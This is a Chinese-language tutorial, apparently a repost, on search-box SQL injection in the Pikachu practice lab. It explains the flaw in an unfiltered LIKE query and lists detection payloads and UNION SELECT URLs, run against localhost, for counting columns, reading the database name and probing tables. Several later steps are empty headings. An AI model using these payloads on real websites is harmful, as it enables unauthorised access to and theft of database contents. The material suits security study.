pikachu-搜索型注入 #手工注入


1.搜索型注入漏洞產生的原因:

  在搭建網站的時候為了方便用戶搜索該網站中的資源,程序員在寫網站腳本的時候加入了搜索功能,但是忽略了對搜索變量的過濾,造成了搜索型注入漏洞,又稱文本框注入。

2.搜索型注入的類型:

  同其他注入類型相同,由於提交表單的不同,可分為GET型(多出現於網站上的搜索)和POST型(多出現於用戶名的登錄搜索匹配),搜索型注入是國內系統中普遍存在的漏洞。

3.原理分析:

select username,id,email from member where username like '%$name%'

這句SLQ語句就是基於用戶輸入的name的值在表member中搜索匹配username,但是如果輸入 'and 1=1 and '%'=' 就變成了

select username,id,email from member where username like '%$name'and 1=1 and '%'='%'

就存在了SQL注入。

4.搜索型注入的判斷方法:

1 搜索keywords‘,如果出錯的話,有90%的可能性存在漏洞;

2 搜索 keywords%,如果同樣出錯的話,就有95%的可能性存在漏洞;

3 搜索keywords% 'and 1=1 and '%'='(這個語句的功能就相當於普通SQL注入的 and 1=1)看返回的情況

4 搜索keywords% 'and 1=2 and '%'='(這個語句的功能就相當於普通SQL注入的 and 1=2)看返回的情況

5 根據兩次的返回情況來判斷是不是搜索型文本框注入了

下面方法也可以測試

'and 1=1 and '%'='

%' and 1=1--'

%' and 1=1 and '%'='

實例講解:

源碼:

 

 

一,猜字段

可判斷有三個字段

http://127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= ' order by 3 --+&submit=搜索

 

 

二,爆字段

http://127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= ' UNION SELECT 1,2,3 --+&submit=搜索

 

 

三,爆庫

http://127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= ' UNION SELECT 1,2,database() --+&submit=搜索

 

 

四,爆表

 

 

五,爆列

 

 

六,爆字段內容

 

 

其他方式

(1)猜字段數

可以判斷字段數為 3

127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= %' union select 1,2,3,4 and '%'='&submit=搜索    #報錯
127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= %' union select 1,2,3 and '%'='&submit=搜索      #不報錯
127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= %' union select 1,2 and '%'='&submit=搜索        #報錯

 

 (2)猜表

127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= %'and(select count(*)from users)>0 and '%'='&submit=搜索

更換users,不報錯就證明數據庫中含有這個表

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM